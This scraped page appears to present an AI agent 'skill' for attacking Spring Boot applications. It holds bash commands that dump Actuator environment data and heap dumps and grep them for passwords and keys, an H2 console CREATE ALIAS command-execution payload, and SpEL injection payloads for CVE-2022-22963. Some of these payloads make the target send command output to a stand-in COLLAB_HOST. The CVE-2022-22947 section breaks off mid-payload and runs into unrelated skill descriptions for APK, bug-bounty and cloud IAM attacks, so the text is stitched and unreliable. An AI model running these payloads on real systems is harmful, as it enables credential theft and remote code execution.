hunt-springboot
**hunt-springboot** identifies critical vulnerabilities in Spring Boot applications by targeting exposed Actuator endpoints like /actuator/heapdump, /actuator/env, and /actuator/shutdown that leak credentials and enable denial of service, plus SpEL injection vectors, H2 console RCE, and known exploits like Spring4Shell and Spring Cloud Function SPEL injection. Use this skill when fingerprinting reveals a Java Spring Boot target via X-Application-Context headers, /actuator paths, Whitelabel error pages, or Java stack traces.
git clone --depth 1 https://github.com/elementalsouls/Claude-BugHunter /tmp/hunt-springboot && cp -r /tmp/hunt-springboot/skills/hunt-springboot ~/.claude/skills/hunt-springbootSKILL.md
# HUNT-SPRINGBOOT — Spring Boot Specific Vulnerabilities
## Crown Jewel Targets
Spring Boot Actuator `/actuator/heapdump` exposed = heap dump with all secrets in memory.
**Highest-value findings:**
- **`/actuator/heapdump`** — full JVM heap dump contains plaintext passwords, tokens, DB credentials, private keys stored anywhere in memory
- **`/actuator/env`** — lists all environment variables and Spring properties including secrets
- **`/actuator/shutdown`** — POST → shuts down the application (Critical availability impact)
- **H2 Console (`/h2-console`)** — in-memory DB admin UI → SQL query execution → potential RCE via `CREATE ALIAS` trick
- **SpEL injection** — Spring Expression Language in template fields, `@Value` annotations, SpEL-processed request params → RCE
- **Spring4Shell CVE-2022-22965** — Spring Framework < 5.3.18 + Tomcat → RCE via data binding
---
## Phase 1 — Fingerprint Spring Boot
```bash
# Spring Boot indicators
curl -sI https://$TARGET/ | grep -i "x-application-context\|x-content-type"
curl -s "https://$TARGET/nonexistent" | grep -i "Whitelabel Error Page\|Spring Boot\|org.springframework"
# Actuator root (may list available endpoints)
curl -s "https://$TARGET/actuator" | python3 -m json.tool 2>/dev/null
curl -s "https://$TARGET/actuator/" | python3 -m json.tool 2>/dev/null
# Try common base paths
for base in "" "/manage" "/management" "/app"; do
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "https://$TARGET$base/actuator")
[ "$STATUS" = "200" ] && echo "[+] Actuator at: $TARGET$base/actuator"
done
```
---
## Phase 2 — Actuator Endpoint Enumeration
```bash
BASE="https://$TARGET/actuator"
# High-impact endpoints
ENDPOINTS=("env" "heapdump" "threaddump" "mappings" "beans" "metrics"
"loggers" "info" "health" "configprops" "shutdown" "trace"
"httptrace" "auditevents" "sessions" "scheduledtasks" "caches"
"flyway" "liquibase" "refresh" "restart")
for EP in "${ENDPOINTS[@]}"; do
# Don't trust HTTP 200 alone — Spring returns 200 with a Whitelabel/login
# page for many paths. Require actuator-shaped JSON (or a heapdump body)
# before calling it EXPOSED.
BODY=$(curl -s -H "Accept: application/json" "$BASE/$EP")
CT=$(curl -s -o /dev/null -w "%{content_type}" -H "Accept: application/json" "$BASE/$EP")
if echo "$CT" | grep -qi "json" && ! echo "$BODY" | grep -qi "Whitelabel Error Page\|<html"; then
echo "[+] EXPOSED: $BASE/$EP"
fi
done
# Get environment variables (passwords, API keys)
curl -s "$BASE/env" | python3 -m json.tool 2>/dev/null | grep -i "password\|secret\|key\|token\|credential" | head -20
# Get all endpoint mappings (full API surface)
curl -s "$BASE/mappings" | python3 -m json.tool 2>/dev/null | grep -oP '"pattern":"\K[^"]+' | sort
# Get Spring beans (lists all registered beans, reveals internal architecture)
curl -s "$BASE/beans" | python3 -m json.tool 2>/dev/null | head -100
```
---
## Phase 3 — Heap Dump Analysis
```bash
# Download heap dump (can be large — 100MB+)
curl -s "$BASE/heapdump" -o /tmp/heapdump.hprof
ls -lh /tmp/heapdump.hprof
# Quick grep for secrets in heap dump (binary file — use strings)
strings /tmp/heapdump.hprof | grep -iE "(password|secret|apikey|api_key|token|bearer|private_key)" | \
grep -v "^[a-z_]" | sort -u | head -50
# More targeted extraction
strings /tmp/heapdump.hprof | grep -oP "(?:password|passwd|pwd)\s*[=:]\s*\S+" | sort -u | head -20
strings /tmp/heapdump.hprof | grep -oP "AKIA[A-Z0-9]{16}" | sort -u # AWS keys
strings /tmp/heapdump.hprof | grep -oP "sk_live_[A-Za-z0-9]+" | sort -u # Stripe keys
strings /tmp/heapdump.hprof | grep -oP "Bearer [A-Za-z0-9._-]+" | sort -u # Bearer tokens
# Use Eclipse Memory Analyzer (MAT) for deep analysis
# https://www.eclipse.org/mat/
```
---
## Phase 4 — H2 Console RCE
```bash
# H2 console detection
curl -s "https://$TARGET/h2-console" | grep -i "H2 Console\|H2 Database"
curl -s "https://$TARGET/h2" | grep -i "H2 Console"
curl -s "https://$TARGET/console" | grep -i "H2"
# Default credentials: sa / (empty password)
# JDBC URL: jdbc:h2:mem:testdb
# If accessible, RCE via CREATE ALIAS:
# SQL to execute:
# CREATE ALIAS EXEC AS $$ String exec(String cmd) throws Exception {
# Runtime rt = Runtime.getRuntime();
# String[] commands = {"sh","-c",cmd};
# Process proc = rt.exec(commands);
# return new String(proc.getInputStream().readAllBytes());
# } $$;
# CALL EXEC('id');
```
---
## Phase 5 — SpEL Injection
```bash
# Spring Expression Language injection in user-controlled fields
# Test: ${7*7} or #{7*7} → if the response reflects 49, SpEL is being evaluated
# Common injection points:
# - Email template fields: "Hello ${name}"
# - Custom annotation @Value("${user.input}")
# - Spring Security expressions
# - Spring WebFlow
# Basic SpEL test
curl -s -X POST "https://$TARGET/api/user/name" \
-H "Content-Type: application/json" \
-d '{"name": "#{7*7}"}'
# If returns 49 → SpEL injection confirmed
# RCE payload — note: exec() returns a Process, not a String, so a bare
# exec("id") produces NO visible output. Confirm via an OOB curl callback
# (the spawned curl makes the network request even though nothing is reflected):
curl -s -X POST "https://$TARGET/api/user/name" \
-H "Content-Type: application/json" \
-d '{"name": "#{T(java.lang.Runtime).getRuntime().exec(new String[]{\"sh\",\"-c\",\"curl COLLAB_HOST/spel-$(id|base64)\"})}"}'
# CVE-2022-22963 — Spring Cloud Function SpEL
curl -s -X POST "https://$TARGET/functionRouter" \
-H "spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec(\"curl COLLAB_HOST/spel-rce\")" \
-d "test"
```
---
## Phase 5b — Spring Cloud Gateway Actuator SpEL RCE (CVE-2022-22947)
If the `gateway` actuator is exposed, add a route whose filter body is SpEL, then refresh to evaluate it (escape inner quotes for your shell):
```bash
curl -s -X POST "$BASE/actuator/gateway/routes/hax" -H "Content-Type: application/json" \
-d '{"id":"hax","filteEnd-to-end Android APK red-team pipeline — automated APK acquisition (Play Store + apkpure + apkmirror fallback), jadx decompilation, secret/URL/JWT/Firebase grep, pinned-cert extraction, exported-component enumeration, Frida runtime instrumentation templates, intent-injection probes. Built from an authorized external red-team engagement where 7 APKs were pulled manually, 4 download attempts truncated, and a hardcoded JWT + 30 internal API endpoints were recovered from one of the apps. Use when target has a mobile app catalogue (Play Store developer page), when you find an APK URL hosted on a web server, or when post-recon mentions "mobile app" in scope.
Run autonomous hunt loop on a target — scope check → recon → rank surface → hunt → validate → report with configurable checkpoints. Usage: /autopilot target.com [--paranoid|--normal|--yolo]
Local-tooling companion to the bug-bounty orchestrator — carries the SAME complete bug-bounty workflow, but reach for THIS variant when you also need to resolve where tools, wordlists, and clones are installed on the local machine (jhaddix, SecLists, trufflehog, ffuf, dalfox, ghauri); for pure orchestration/routing use the bug-bounty skill. Workflow it covers — recon (subdomain enumeration, asset discovery, fingerprinting, HackerOne scope, source code audit), pre-hunt learning (disclosed reports, tech stack research, mind maps, threat modeling), vulnerability hunting (IDOR, SSRF, XSS, auth bypass, CSRF, race conditions, SQLi, XXE, file upload, business logic, GraphQL, HTTP smuggling, cache poisoning, OAuth, timing side-channels, OIDC, SSTI, subdomain takeover, cloud misconfig, ATO chains, agentic AI), LLM/AI security testing (chatbot IDOR, prompt injection, indirect injection, ASCII smuggling, exfil channels, RCE via code tools, system prompt extraction, ASI01-ASI10), A-to-B bug chaining (IDOR→auth bypass, SSRF→cloud metadata, XSS→ATO, open redirect→OAuth theft, S3→bundle→secret→OAuth), bypass tables (SSRF IP bypass, open redirect bypass, file upload bypass), language-specific grep (JS prototype pollution, Python pickle, PHP type juggling, Go template.HTML, Ruby YAML.load, Rust unwrap), and reporting (7-Question Gate, 4 validation gates, human-tone writing, templates by vuln class, CVSS 3.1, PoC generation, always-rejected list, conditional chain table, submission checklist). Use when you need the local install path of a tool / wordlist / clone for a hunt, or as the full-workflow variant when operating from this local toolkit; for general routing use the bug-bounty skill. 中文触发词：漏洞赏金、安全测试、渗透测试、漏洞挖掘、信息收集、子域名枚举、XSS测试、SQL注入、SSRF、安全审计、漏洞报告
Use at the START of any bug bounty hunting session, when switching targets, or when feeling lost about what to do next. Master orchestrator that combines the 5-phase non-linear hunting workflow with the critical thinking framework (developer psychology, anomaly detection, What-If experiments). Routes to all other skills based on current hunting phase. Also use when asking "what should I do next" or "where am I in the process.
Complete bug bounty workflow — recon (subdomain enumeration, asset discovery, fingerprinting, HackerOne scope, source code audit), pre-hunt learning (disclosed reports, tech stack research, mind maps, threat modeling), vulnerability hunting (IDOR, SSRF, XSS, auth bypass, CSRF, race conditions, SQLi, XXE, file upload, business logic, GraphQL, HTTP smuggling, cache poisoning, OAuth, timing side-channels, OIDC, SSTI, subdomain takeover, cloud misconfig, ATO chains, agentic AI), LLM/AI security testing (chatbot IDOR, prompt injection, indirect injection, ASCII smuggling, exfil channels, RCE via code tools, system prompt extraction, ASI01-ASI10), A-to-B bug chaining (IDOR→auth bypass, SSRF→cloud metadata, XSS→ATO, open redirect→OAuth theft, S3→bundle→secret→OAuth), bypass tables (SSRF IP bypass, open redirect bypass, file upload bypass), language-specific grep (JS prototype pollution, Python pickle, PHP type juggling, Go template.HTML, Ruby YAML.load, Rust unwrap), and reporting (7-Question Gate, 4 validation gates, human-tone writing, templates by vuln class, CVSS 3.1, PoC generation, always-rejected list, conditional chain table, submission checklist). Use for ANY bug bounty task — starting a new target, doing recon, hunting specific vulns, auditing source code, testing AI features, validating findings, or writing reports. 中文触发词：漏洞赏金、安全测试、渗透测试、漏洞挖掘、信息收集、子域名枚举、XSS测试、SQL注入、SSRF、安全审计、漏洞报告
Bugcrowd-specific reporting tactics complementing report-writing: VRT category search-and-fallback strategy when no exact match exists, manual severity override when VRT defaults underrate impact, severity-request paragraph as first body section, OOS-clause rebuttal templates (rate limiting on auth-flow endpoints, debug-info framing, user-enumeration with sensitive PII, theoretical-issue counter), chained-finding cross-reference patterns, target selection for QA-vs-prod programs, researcher-side hygiene (Bugcrowdninja email alias, account state restoration, friendly-tester posture). Use when filing a Bugcrowd submission, when VRT default seems wrong, when triager closes as OOS or downgrades severity, when chaining linked submissions, or when scope distinguishes production from QA. Pairs with report-writing and triage-validation.
Build an exploit chain — given bug A, finds B and C to combine for higher severity and payout. Knows common chain patterns: IDOR→ATO, SSRF→cloud metadata, XSS→ATO, open redirect→OAuth theft, S3→bundle→secret→OAuth. Usage: /chain
Cloud IAM red-team attack chain across AWS, Azure, GCP — focused on EXTERNAL exploitation paths and post-credential-discovery privilege analysis. Covers IAM enumeration (aws iam, az role, gcloud iam), STS/AssumeRole chaining, Azure Managed Identity abuse (via SSRF/leak), GCP service account JSON abuse, IMDSv1/v2 attacks via SSRF, K8s ServiceAccount token privilege analysis once held (token discovery / cluster exposure is owned by hunt-k8s), role-trust-policy confused-deputy, cross-account assume-role enumeration, IAM privilege escalation patterns (24+ AWS, 8+ Azure, 6+ GCP), and AWS Cognito Identity Pool unauthenticated-role attack chain (GetId → GetCredentialsForIdentity → IAM role abuse). Built for the case where recon yields a credential (key, JSON, token) and you need to know what it grants and how to escalate. Use when an AWS key / Azure secret / GCP service account JSON / K8s SA token surfaces from a code repo, JS bundle, APK, breach corpus, or SSRF chain.